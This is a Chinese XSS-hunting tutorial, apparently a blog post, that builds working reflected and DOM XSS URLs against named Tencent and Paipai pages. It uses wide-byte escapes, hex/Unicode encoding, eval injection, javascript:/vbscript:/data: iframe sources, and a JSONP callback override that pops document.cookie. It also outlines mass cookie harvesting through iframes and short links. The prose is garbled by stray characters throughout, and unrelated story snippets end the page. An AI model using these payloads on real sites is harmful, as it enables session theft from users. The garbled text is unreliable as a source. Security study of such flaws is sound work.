http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa

看一下源碼匀钧,先測試雙引號(hào),妥妥的被過濾谬返,HTML標(biāo)簽里的東西沒希望了榴捡。往后邊看,第二個(gè)又出現(xiàn)在了注釋里朱浴,看來開發(fā)還是很希望遺留這些漏洞的吊圾,我們直接用一個(gè)換行符。

但問題是注釋那里被注釋掉了翰蠢,但是接下來的var searchOrder="....";這一句就麻煩了项乒。

//document.getElementById("order_select").value="aaa
alert(/xss/); //";

var searchOrder="aaa
alert(1);//";

第一個(gè)是OK 了,第二個(gè)語法錯(cuò)誤了梁沧。那么又想到什么了呢檀何,在JavaScript 語法里,一個(gè)反斜杠可以讓語法讓換行的內(nèi)容接起來廷支,形成多行寫法频鉴。

var sarchOrder="aaa\
alert(/xss/);//";

于是,語法上又恢復(fù)了正常恋拍,而這一部分內(nèi)容我們不用管它垛孔,只要上一個(gè)有效就可以了。但問題是施敢,反斜杠被過濾了周荐,過濾的方法是被轉(zhuǎn)義了狭莱。


兩個(gè)反斜杠就沒法讓JavaScript成立了,怎么辦呢概作?記得之前采用的寬字符的戰(zhàn)術(shù)腋妙,看一眼網(wǎng)頁的編碼格式,gb2312,說明寬字節(jié)是有效的讯榕。那我們就用128以上的字符骤素,去吃掉一個(gè)反斜杠:

http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//

從結(jié)果上看,%c0吃掉了一個(gè)%5c愚屁,留下了一個(gè)反斜杠谆甜。


語法完全ok, 于是彈窗。

至此集绰,這種反射型的XSS 基本上就這么些內(nèi)容了规辱。想要挖XSS 的洞,非常的耗費(fèi)功夫栽燕,因?yàn)榧词故菦]有安全編碼嘗試的開發(fā)者罕袋,也基本知道一些必須過濾的字符一定要過濾,另外在PHP 這些語言中碍岔,也有專門的函數(shù)諸如魔術(shù)引號(hào)來過濾處理浴讯。

不過學(xué)習(xí)這種XSS 類型,將擴(kuò)寬思路蔼啦,不僅是從注入的角度來看榆纽,能想到各種有意思的注入和XSS 利用,更重要的是從安全編碼的角度看待開發(fā)捏肢,如何保證代碼的安全實(shí)際上是比效率更加重要的點(diǎn)奈籽。

DOM XSS

之前提到的漏洞內(nèi)容,都是反射型XSS鸵赫,攻擊性一般來說比較低衣屏,即用即消,難以持久辩棒,而且一般來說狼忱,如果cookie 設(shè)置成httponly,你就不能通過document.cookie 的方式獲取cookie了一睁,在做其他一些事情钻弄,反射型xss就顯得乏力了。不過者吁,如果沒有設(shè)置成httponly窘俺,還是有方法獲取到海量的用戶cookie,簡單的利用方法就是在一個(gè)自己可控的站點(diǎn),控制一個(gè)iframe砚偶,然后鏈接到主站可xss利用的站點(diǎn)批销,在URL 里寫好腳本,做好接受染坯,就能源源不斷的接受來自用戶的信息了均芽。

比如說新浪微博或者是騰訊微博存在XSS反射漏洞,我們?cè)谧约旱恼军c(diǎn)中寫好利用的iframe单鹿,然后在自己的微博上寫一個(gè)吸引人的標(biāo)題掀宋,然后附一個(gè)經(jīng)過短鏈接轉(zhuǎn)義過得鏈接。如果別人點(diǎn)進(jìn)去仲锄,就會(huì)自動(dòng)觸發(fā)我們的XSS 腳本劲妙。以前Twitter 上也有這樣的漏洞,短時(shí)間讓黑客的粉絲暴漲百萬儒喊,實(shí)際上只是自動(dòng)執(zhí)行了關(guān)注黑客的腳本镣奋。

下面我們進(jìn)入下一個(gè)XSS類型,DOM XSS怀愧。所謂DOM 操作侨颈,就是利用JavaScript 的DOM 操作來進(jìn)行利用。關(guān)于DOM樹芯义,DOM操作的基礎(chǔ)哈垢,可以參見wikipedia ,可以查看更多信息扛拨。

DOM 常見的方法有:

  • 獲取節(jié)點(diǎn)
    • getElementsById()
    • getElementsByTagName()
    • getElementsByClassName()
  • 新增結(jié)點(diǎn)
    • document.createElement() 創(chuàng)建節(jié)點(diǎn)對(duì)象耘分,參數(shù)是字符串也就是html標(biāo)簽
    • createTextNode 創(chuàng)建文本節(jié)點(diǎn),配合上一個(gè)使用
    • appendChild(element) 把新的結(jié)點(diǎn)添加到指定節(jié)點(diǎn)下绑警,參數(shù)是一個(gè)節(jié)點(diǎn)對(duì)象
    • insertChild() 在指定結(jié)點(diǎn)錢插入新的節(jié)點(diǎn)
  • 修改節(jié)點(diǎn)
    • replaceChild() 節(jié)點(diǎn)交換
    • setAttribute() 設(shè)置屬性
  • 刪除節(jié)點(diǎn)
    • removeChild(element) 刪除節(jié)點(diǎn)求泰,要先獲得父節(jié)點(diǎn)然后再刪除子節(jié)點(diǎn)
  • 一些屬性
    • innerHTML 節(jié)點(diǎn)內(nèi)容,可以獲取或者設(shè)置
    • parentNode 當(dāng)前節(jié)點(diǎn)的父節(jié)點(diǎn)
    • childNode 子節(jié)點(diǎn)
    • attributes 節(jié)點(diǎn)屬性
    • style 修改樣式

下面我們回到XSS 上计盒,如何利用一個(gè)顯式的DOM XSS拜秧。

這樣一個(gè)URL:
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml

我們?cè)诖a中尋找其輸出:


發(fā)現(xiàn)了很多個(gè),將其代碼格式化之后如下章郁,我們會(huì)實(shí)際上枉氮,被執(zhí)行的只有一個(gè):

<strong id="titleshow">按職業(yè)1檢索:aaaaaaa </strong></div>

<script>
if("aaaaaaa"=="")

document.getElementById("titleshow").innerHTML="按地區(qū)檢索:全部明星";

if("職業(yè)1"=="職業(yè)1")

document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";

if("職業(yè)1"=="職業(yè)2")

document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";

if("職業(yè)1"=="職業(yè)3")

document.getElementById("titleshow").innerHTML="按職業(yè)檢索:aaaaaaa";
</script>

我們先測試幾個(gè)特殊字符,發(fā)現(xiàn)尖括號(hào)被過濾了暖庄,但是\ 沒有被過濾聊替,而這里又是JS 代碼,我們可以十三月Unicode 編碼來代替尖括號(hào)培廓,仍然可以實(shí)現(xiàn)代碼利用惹悄。\u003c \003e 分別代表尖括號(hào),\0020 代表空格肩钠。 而這里其實(shí)有一個(gè)比較關(guān)鍵的知識(shí)點(diǎn)泣港,為什么有時(shí)候轉(zhuǎn)義可以暂殖,有時(shí)候轉(zhuǎn)義不行,編碼解碼的順序到底是怎樣的当纱,具體可以看下一條文章呛每。

所以,我們構(gòu)造的完整URL 如下:

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml

但是坡氯,左右尖括號(hào)的Unicode表示已經(jīng)被過濾:


但仔細(xì)觀察一下晨横,我們發(fā)現(xiàn),\u0020 都沒有被轉(zhuǎn)義箫柳,說明開發(fā)者的轉(zhuǎn)義是非常局限的手形,指哪打哪,很有可能有別的方法可以利用悯恍。而Unicode 編碼也有多種書寫方式库糠,比如 \x3c \x3e 就可以代表左右尖括號(hào)。那么我們值得一試:

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml

令人驚奇的是竟然沒有轉(zhuǎn)義:


這樣涮毫,彈窗就是必然的了曼玩。

這是一次簡單的DOM XSS 過程,后邊會(huì)有更加復(fù)雜的XSS等待挖掘窒百。

DOM XSS

讓我們繼續(xù)尋找DOM XSS黍判,在上一節(jié)里,在地址欄里輸入的內(nèi)容篙梢,很容易出現(xiàn)在了源代碼里顷帖,然后我們發(fā)現(xiàn)源代碼里是一個(gè)DOM 操作,通過js 的Unicode 轉(zhuǎn)義渤滞,我們將利用代碼植入到了innerHTML 指向的內(nèi)容中贬墩,同時(shí)繞過了過濾。

關(guān)于編碼的順序問題妄呕,可以參考我之前總結(jié)的一篇文章陶舞,比較清晰。

那么绪励,如果我們?cè)谠创a里肿孵,定位不到我們?cè)赨RL 里的參數(shù)呢,其實(shí)這并沒有太多不同疏魏。只是因?yàn)榫W(wǎng)頁直接通過腳本停做,通過DOM 操作,修改了或者添加了某些標(biāo)簽大莫,源碼中看不到蛉腌。但只需要進(jìn)入調(diào)試工具里,就能找到了。

這里拉來一個(gè)老漏洞烙丛,現(xiàn)已修復(fù):

http://qt.qq.com/video/play_video.htm?sid=aaaaaa

這樣一個(gè)地址舅巷,我們跑去源代碼里,是不會(huì)直接找到輸出的河咽,其實(shí)這也是更為常見的情況:


此時(shí)我們應(yīng)該去到調(diào)試工具里找钠右,在審查元素里,我們看到了輸出的位置:


按照以往的方法库北,我們?nèi)匀皇鞘褂贸WR(shí)構(gòu)造的方式爬舰,去看那些寫法是被過濾的们陆,然后嘗試去構(gòu)造攻擊模式寒瓦。另一種方法,則是去resources 中坪仇,去查看腳本杂腰,是那個(gè)腳本執(zhí)行了什么操作,讓變量進(jìn)入了標(biāo)簽椅文,了解清楚了之后喂很,可以對(duì)癥下藥的創(chuàng)造攻擊向量。

我們直接對(duì)sid 這個(gè)參數(shù)在resource 中搜索皆刺,會(huì)找到響應(yīng)的處理函數(shù)少辣。在這里,是一個(gè)叫g(shù)etUrlPara 的函數(shù):



進(jìn)一步羡蛾,定位到該函數(shù)的定義漓帅,通過分析該函數(shù),我們能了解腳本在獲得該參數(shù)后的操作痴怨,在該函數(shù)里忙干,我們發(fā)現(xiàn),該函數(shù)對(duì) location.href 中的尖括號(hào)和引號(hào)已經(jīng)進(jìn)行了過濾處理浪藻,但實(shí)際上捐迫,這段代碼實(shí)際上是不太正確。


因?yàn)樵谶M(jìn)行處理之前爱葵,拿到的href 已經(jīng)經(jīng)過了URL 編碼施戴,該函數(shù)不會(huì)對(duì)任何符號(hào)進(jìn)行處理。即使是瀏覽器不做編碼處理萌丈,如果我們預(yù)先對(duì)它進(jìn)行編碼處理暇韧,也會(huì)跳過函數(shù)中的過濾。然后讓我們?cè)倩氐胶瘮?shù)調(diào)用之后的上下文浓瞪。

var sid=getUrlPara("sid");

if(!sid || sid==""){

    document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉懈玻,視頻不存在!</div>';

}else{

    var flash_ver=GetSwfVer();

    if(flash_ver == -1){

        document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您還沒有安裝flash插件<br/>請(qǐng)<a target="_blank" >下載</a>10.0以上的flash播放器<br/>安裝flash后涂乌,請(qǐng)<a href="javascript:location.reload();">點(diǎn)此刷新</a></div>';

    }else if(flash_ver.split('.')[0]<10){

        document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉艺栈,您的flash版本過低<br/>請(qǐng)<a target="_blank" >下載</a>10.0以上的flash播放器<br/>安裝flash后,請(qǐng)<a href="javascript:location.reload();">點(diǎn)此刷新</a></div>';

    }else{

        sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');

        if(!is_valid_sid(sid)){

            document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">無法打開視頻文件湾盒,視頻地址不合法湿右!</div>';

        }else{

            insertFlash("dv_video","f",sid,"100%","100%");
        }
    }
}

這里,通過decodeURLComponent 將編碼后的參數(shù)罚勾,又解碼成了原符號(hào)踢关,而后邊調(diào)用的insertFlash 操作,未經(jīng)過濾的將sid 寫進(jìn)了頁面:

function insertFlash(elm, eleid, url, w, h) {

    if (!document.getElementById(elm)) return;

    var str = '';

    str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
 
    str += '<param name="movie" value="' + url + '" />';
    str += '<param name="allowScriptAccess" value="never" />';
    str += '<param name="allowFullscreen" value="true" />';
    str += '<param name="wmode" value="transparent" />';
    str += '<param name="quality" value="autohigh" />';
    str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
    str += '</object>';
    document.getElementById(elm).innerHTML = str
}

我們很容易的想象到了構(gòu)造< img src=# onerror=alert(1)>囤锉,對(duì)尖括號(hào)進(jìn)行URL 編碼就可以了屯耸。實(shí)際上,就這一個(gè)漏洞送丰,我們不僅可以使用URL 編碼的方式缔俄。結(jié)合我之前說的瀏覽器的解析順序,在這里器躏,從URL 獲得的參數(shù)俐载,進(jìn)入腳本,腳本調(diào)用DOM 操作登失,修改DOM 樹遏佣,所以我們用Unicode編碼也能最后得到解析。

我們始終說揽浙,安全編碼是一個(gè)不容易的技術(shù)状婶,因?yàn)橐徊绞杪┚蜁?huì)在最終造成滿盤皆輸。所以捏萍,對(duì)于開發(fā)者太抓,想要真正構(gòu)建安全的程序,就必須對(duì)程序所涉及的技術(shù)框架了如指掌令杈。比如對(duì)于Web,應(yīng)該對(duì)瀏覽器的原理走敌,HTTP/HTTPS,各種編碼原理,JS&CSS&HTML逗噩,PHP&ASP掉丽,的安全部分都有一定了解,才能在構(gòu)建程序的時(shí)候异雁,抓住最關(guān)鍵的部分捶障,確保不出問題。

深入源碼纲刀,邂逅eval和iframe

前邊的分析過程项炼,看起來還是比較淺,不論是直接在源碼中出現(xiàn)的,還是在elements 中出現(xiàn)的锭部,他們都是通過JavaScript 的document.write 或者是 innerHTML 輸出到網(wǎng)頁去了暂论,所以還是可以輕松的在開發(fā)者工具那里看到輸出的位置。但是拌禾,如果一部分輸出取胎,最終沒有流向innerHTML 或者是 document.write,就需要安心下來慢慢挖掘了湃窍。

騰訊的栗子:
http://kf.qq.com/search_app.shtml?key=aaaaa

跑去源碼和開發(fā)者工具里搜索一通闻蛀,都沒有搜索到,下面您市,我們換個(gè)思路觉痛,進(jìn)入console 中,看能否發(fā)現(xiàn)一些墨坚。我們按照往常秧饮,在URL 的參數(shù)里映挂,構(gòu)造一些特殊字符泽篮,單引號(hào),雙引號(hào)柑船,尖括號(hào)帽撑,斜杠,一般來說鞍时,雙引號(hào)單引號(hào)都會(huì)最早被過濾亏拉,所以一般斜杠的幾率還大一些。我們構(gòu)建之后逆巍,查看結(jié)果返回一個(gè)錯(cuò)誤的信息:



右邊能點(diǎn)開幫助文檔及塘,能看到源文件,那我們進(jìn)源文件好好看看到底哪里出錯(cuò)了锐极,有沒有機(jī)會(huì)繞過笙僚。我們定位到代碼的位置,上下文大約如此:

var getarg = function()

{
    var url = window.location.href;
    var allargs = url.split("?")[1];
    if (allargs!=null && allargs.indexOf("=")>0)
    {
        var args = allargs.split("&");
        for(var i=0; i<args.length; i++)
        {
            var arg = args[i].split("=");
            eval('this.'+arg[0]+'="'+arg[1]+'";');
        }
    }
};

這就是最簡單的從URL 中獲取參數(shù)的代碼灵再,url 是原始的url,allargs 是問號(hào)之后的參數(shù)部分肋层,然后通過& 分割的開來,然后對(duì)URL 中每一個(gè)參數(shù)鍵值對(duì)翎迁,用一個(gè)eval 來執(zhí)行記錄操作栋猖,也就是執(zhí)行了eval('this.key'="aaaa";'),eval('this.'+arg[0]+'="'+arg[1]+'";');兩個(gè)參數(shù)分別對(duì)應(yīng)了等號(hào)左右的鍵和值汪榔,雖然我們沒有在頁面里看到輸出蒲拉,但是它實(shí)際上還是輸出了。

那么,我們不僅可以對(duì)值進(jìn)行替換雌团,還可以對(duì)鍵進(jìn)行替換嘗試爆班,我們先替換一下arg[0] 試試:

this.key="aaaa";
this.key;alert(1);//="aaaa";

變成上式那樣的,就可以彈窗了辱姨,雙斜杠形成注釋柿菩,截掉了后邊的內(nèi)容。測試一下這個(gè)URL:
http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa

彈彈彈雨涛,那么后邊的值部分可以不可以呢枢舶。

按照慣常思路,使用雙引號(hào)閉合替久,然后加入利用函數(shù):

this.key="aaaa";
this.key="aaaa";alert(1);//";

構(gòu)造出來的URL:
http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//

但是凉泄,對(duì)于chrome等非IE 瀏覽器,實(shí)際上蚯根,對(duì)于URL 出現(xiàn)的雙引號(hào)后众,會(huì)將其進(jìn)行URL 編碼,在HTML 解析的時(shí)候颅拦,無法完成正常的語法結(jié)構(gòu)蒂誉,也就失效了,不過上述代碼在IE下是有效的距帅。

下面我們?cè)侔l(fā)現(xiàn)輸出在iframe中的右锨,因?yàn)閕frame 后邊可以跟src ,有時(shí)候?yàn)榱朔奖闱短仔】蚣苈到眨瑫?huì)從URL里讀取參數(shù)绍移,然后構(gòu)造成地址,輸出在iframe 的src 中讥电,形如:< iframe src="[輸出]">< /iframe>蹂窖。

但是,對(duì)于src 來說恩敌,我們可以插入偽URL 瞬测,來執(zhí)行JS 代碼,常見的插入在前邊也說過潮剪,對(duì)于iframe 可以有以下幾種:

  • < iframe onload="alert(1)">< /iframe>
  • js偽url: < iframe src="javascript:alert(1)">< /iframe>
  • IE下的vbscript執(zhí)行代碼: < iframe src="vbscript:msgbox(1)">< /iframe>
  • Chrome 下data的協(xié)議執(zhí)行代碼:< iframe src="data:text/html,< script>alert(1)< /script>">< /iframe>
  • 如果尖括號(hào)被屏蔽涣楷,還可以使用HTML 實(shí)體編碼:< iframe src="data:text/html,&lt ;script&gt ;alert(1)&lt ;/script&gt ;">< /iframe>
  • 以及Chrome下srcdoc屬性:< iframe srcdoc="&lt ; script&gt ;alert(1)&lt ;/script&gt ;">< /iframe>

下面繼續(xù)從烏云上的栗子開始學(xué)習(xí):
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=

仍然使用最簡單的方式去開發(fā)者工具里找輸出,看到被帶到了iframe 的src 中去:


嘗試用最簡單的方式構(gòu)造一個(gè)彈窗:
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
結(jié)果失效:

看來是被過濾掉了抗碰,那么尋找到這個(gè)iframe 的處理操作狮斗,去找找問題,在js 源碼里弧蝇,找到了相關(guān)的處理:

function OpenFrame(url) {

    if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;

    document.getElementById("toolframe").src = url;

}

實(shí)際上碳褒,他做了最簡單的過濾折砸,僅僅是不允許JavaScript 偽URL,而url 參數(shù)沙峻,我們尋找turl 參數(shù)睦授,源碼中,并沒再做更多操作:

var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);

那么我們就可以用上邊說的使用VBScript來在IE 下XSS摔寨,可以在Chrome 中用date 來構(gòu)造XSS去枷。

IE: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=

Chrome: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=

p.p1 {margin: 0.0px 0.0px 0.0px 60.0px; text-indent: -19.2px; font: 16.0px Courier; color: #66cccc}p.p2 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc; min-height: 19.0px}p.p3 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px 'PingFang SC'; color: #cccccc}p.p4 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999}p.p5 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #e6424b}p.p6 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc}p.p7 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999; min-height: 19.0px}p.p8 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cc99cc}span.s1 {font: 16.0px 'PingFang SC'}span.s2 {font: 16.0px Courier}span.s3 {color: #999999}span.s4 {color: #c33795}span.s5 {color: #233fd0}span.s6 {color: #e6424b}span.s7 {color: #8b86c9}

**# DOM XSS****奧義**** **

一些我們普遍了解的XSS 基本已經(jīng)讓大部分開發(fā)者們警醒,也都做了足夠充分的教訓(xùn)是复,所以想要像以前那樣隨意的挖洞就不可能了删顶,但是XSS 是無窮的,只要能深入源碼淑廊,總會(huì)有所發(fā)現(xiàn)逗余。

常常程序會(huì)動(dòng)態(tài)加載json 數(shù)據(jù),同域可以用ajax,而不同域時(shí)季惩,就需要跨域請(qǐng)求录粱,有一種方法是jsonp,利用callback回調(diào)完成跨域,而在調(diào)用外部數(shù)據(jù)的時(shí)候還會(huì)帶上一些參數(shù)画拾,而如果這些參數(shù)可控啥繁,我們就可以試圖去挖掘漏洞。

對(duì)于跨域的請(qǐng)求來說碾阁,最常見的形式是這樣:

somescript.src="http://otherdomain.com/xx?jsonp=callback"

而為了方便输虱,callback 后邊會(huì)帶上一些參數(shù)些楣,有一些參數(shù)是用戶可控的脂凶,那時(shí)候,就會(huì)造成困擾了:

somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;

如果其中的ID 可控愁茁,那就很有可能會(huì)帶來問題蚕钦,這算是一種地址可控,而地址可控分為三種形式:

一種是鹅很,完全可控嘶居,也就是src 后邊的內(nèi)容可以直接替換掉,這種可以直接利用促煮,替換成我們的JS 地址邮屁。

一種是部分可控:

script src="/path/xxx/[路徑可控]/1.js"

這種情況下一般是在同域下尋找一個(gè)有漏洞的上傳點(diǎn),上傳些文件什么的菠齿,以便利用佑吝。

第三種情況是參數(shù)可控:

script src="/xxxx/json.php?callback=xxxx&param1=yyy&param2=[參數(shù)可控]"

以烏云某例為例:
http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1&degree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681

經(jīng)過簡單在這個(gè)頁面測試,我們可以發(fā)現(xiàn)绳匀,其中的callback, dtag, ranking 是可控的芋忿。不過可控的元素還是會(huì)被過濾的炸客,比如常見的尖括號(hào)就一定會(huì)被過濾。

實(shí)際在使用中戈钢,訪問這個(gè)跨域數(shù)據(jù)的是以下URL:
http://bag.paipai.com/search_list.shtml?type=&callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13

因?yàn)閐tag痹仙,ranking 是放在雙引號(hào)里的,過濾了雙引號(hào)殉了,基本很難有可以應(yīng)用的地方开仰。而callback 則不是,如果能構(gòu)造一個(gè)callback=alert(1) 薪铜,就可以執(zhí)行XSS抖所,不過在我們發(fā)現(xiàn)寫在一開始的callback 并不能直接去改變值來控制它,我們可以想辦法通過后邊可控的參數(shù)痕囱,用&來分隔后再來一個(gè)callback=alert(1)來覆蓋前邊的callback田轧。

不過一般來說,如果你在構(gòu)造URL 的時(shí)候鞍恢,如果使用了&傻粘,那就會(huì)直接認(rèn)為你這是分隔符,這個(gè)方法就失效了帮掉。而如果我們?cè)噲D使用%26 這個(gè)URL 編碼來代替弦悉,但是它在傳遞的時(shí)候,并不會(huì)解碼蟆炊,所以也不會(huì)讓服務(wù)器解析的時(shí)候才認(rèn)定他是分隔符稽莉。

所以,只能去從源碼里找漏洞,我們找到他的search.js腳本涩搓,定位到那一塊觀察上下文:

function init() {

        var keyword = decodeURIComp($getQuery('keyword')),

        type = $getQuery('type'),

        searchtype = $getQuery('searchtype');

        option.keyword = keyword;

        option.classId = type;

        option.searchType = searchtype || option.searchType;

        option.beginPrice = $getQuery('bp');

        option.endPrice = $getQuery('ep');

        option.NewProp = $getQuery('np') || $getQuery('newprop');

        option.property = $getQuery('pro') || option.property;

        option.cid = $getQuery('cid');

        option.Paytype = $getQuery('pt') || option.Paytype;

        option.hongbaoKeyword = $getQuery('hb');

        option.conditionStatus = $getQuery('cs') || option.conditionStatus;

        option.showType = $getQuery('show') || option.showType;

        option.mode = $getQuery('mode') || option.mode;

        option.address = decodeURIComp($getQuery('adr'));

        option.orderStyle = $getQuery('os') || option.orderStyle || 80;

        option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;

        option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');

        var pageIndex = $getQuery('pi'),

        pageSize = $getQuery('ps');

        option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;

        option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;

    };

這里的腳本污秆,就是jason參數(shù)和當(dāng)前頁面獲得參數(shù)的一些關(guān)系,而其中有一個(gè)函數(shù)讓我們看到了希望: decodeURLComp昧甘,它在傳進(jìn)來的時(shí)候良拼,會(huì)被解碼一次,有木有想起什么充边。對(duì)于這個(gè)keyword庸推,如果我們使用了URL 編碼傳%26進(jìn)去,他會(huì)解碼成&浇冰,那么我們直接使用%26callback=alert(1)贬媒,那就可以會(huì)被解碼成一個(gè)分隔符,然后出發(fā)我們的漏洞肘习。

構(gòu)造URL:
http://bag.paipai.com/search_list.shtml?type=213280&np=11&pro=256&searchtype=2&cs=0010000&keyword=%26callback=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));void&PTAG=20058.13.13

抓個(gè)包际乘,可以看到接收的json 數(shù)據(jù)已經(jīng)得到改變:


彈窗就是自然的了。

其實(shí)井厌,這個(gè)漏洞已經(jīng)顯得有些運(yùn)氣成分了蚓庭,也可以說是開發(fā)者在業(yè)務(wù)的邏輯關(guān)系變得復(fù)雜之后致讥,往往就缺乏足夠的安全意識(shí),去處理這些跨域安全問題了器赞,往往在源碼上垢袱,會(huì)造成一些漏洞。上邊的例子我們也能看到港柜,本身在過濾的邏輯上请契,已經(jīng)很難尋找漏洞,但是因?yàn)殚_發(fā)者在處理流程的時(shí)候夏醉,沒有去思考它可能的上下文關(guān)系爽锥,也就主動(dòng)創(chuàng)造了一個(gè)漏洞出來。

DOM XSS 的內(nèi)容畔柔,大概也就這么多了氯夷。在DOM XSS 漏洞的挖掘中,最常用的自動(dòng)化挖掘方式靶擦,其實(shí)就是利用爬蟲和抓包重放腮考,爬蟲通過遍歷某網(wǎng)站的各種結(jié)構(gòu)URL,然后抓包重放去構(gòu)造獨(dú)特的字符替換掉URL中那些可控的參數(shù)玄捕,通過服務(wù)器返回的狀態(tài)踩蔚,和內(nèi)容,去挖掘可能存在的不安全因素枚粘。

而挖掘到不安全因素馅闽,只是XSS 最早的第一步,現(xiàn)在馍迄,那些最常見的漏洞已經(jīng)基本銷聲匿跡福也,需要的是通過分析源碼,尋找某個(gè)點(diǎn)的上下文關(guān)系柬姚,通過理清邏輯關(guān)系拟杉,尋找開發(fā)者在其中的疏漏,才能創(chuàng)造出合適的XSS量承。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市穴店,隨后出現(xiàn)的幾起案子撕捍,更是在濱河造成了極大的恐慌,老刑警劉巖泣洞,帶你破解...
    沈念sama閱讀 216,496評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件忧风,死亡現(xiàn)場離奇詭異,居然都是意外死亡球凰,警方通過查閱死者的電腦和手機(jī)狮腿,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,407評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門腿宰,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人缘厢,你說我怎么就攤上這事吃度。” “怎么了贴硫?”我有些...
    開封第一講書人閱讀 162,632評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵椿每,是天一觀的道長。 經(jīng)常有香客問我英遭,道長间护,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,180評(píng)論 1 292
  • 正文 為了忘掉前任挖诸,我火速辦了婚禮汁尺,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘多律。我一直安慰自己均函,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,198評(píng)論 6 388
  • 文/花漫 我一把揭開白布菱涤。 她就那樣靜靜地躺著苞也,像睡著了一般。 火紅的嫁衣襯著肌膚如雪粘秆。 梳的紋絲不亂的頭發(fā)上如迟,一...
    開封第一講書人閱讀 51,165評(píng)論 1 299
  • 那天,我揣著相機(jī)與錄音攻走,去河邊找鬼殷勘。 笑死,一個(gè)胖子當(dāng)著我的面吹牛昔搂,可吹牛的內(nèi)容都是我干的玲销。 我是一名探鬼主播,決...
    沈念sama閱讀 40,052評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼摘符,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼贤斜!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起逛裤,我...
    開封第一講書人閱讀 38,910評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤瘩绒,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后带族,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體锁荔,經(jīng)...
    沈念sama閱讀 45,324評(píng)論 1 310
